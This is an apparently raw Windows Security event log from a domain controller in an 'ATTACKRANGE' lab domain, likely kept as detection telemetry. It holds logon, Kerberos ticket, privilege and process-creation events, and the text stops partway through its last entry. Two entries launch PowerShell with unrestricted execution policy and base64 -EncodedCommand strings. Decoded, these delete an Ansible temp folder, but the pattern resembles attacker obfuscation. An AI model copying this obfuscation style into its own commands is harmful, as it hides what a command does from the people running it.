-TaskCategory=Special Logon -OpCode=Info -RecordNumber=251215 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12CB99 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251214 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12CB38 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251213 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12CB38 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64509 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251212 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12CB38 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251211 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B409 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251210 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1254DE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251209 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128B0F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251208 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127042 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251207 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1298AA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251206 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CAD5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251205 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CAD5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251204 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251203 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251202 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251201 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CAB9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251200 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CAB9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251199 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CAB9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251198 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251197 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251196 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251195 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B631 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251194 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10dc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADMALgA5ADcAMAA4ADcAMgAyAC0ANAA5ADgANwAzADkAMAA1ADUAOQAzADcANQA3ACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251193 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B631 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251192 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B631 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251191 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251190 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251189 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251188 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12a8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAyAEEARABNAEEATABnAEEANQBBAEQAYwBBAE0AQQBBADQAQQBEAGMAQQBNAGcAQQB5AEEAQwAwAEEATgBBAEEANQBBAEQAZwBBAE4AdwBBAHoAQQBEAGsAQQBNAEE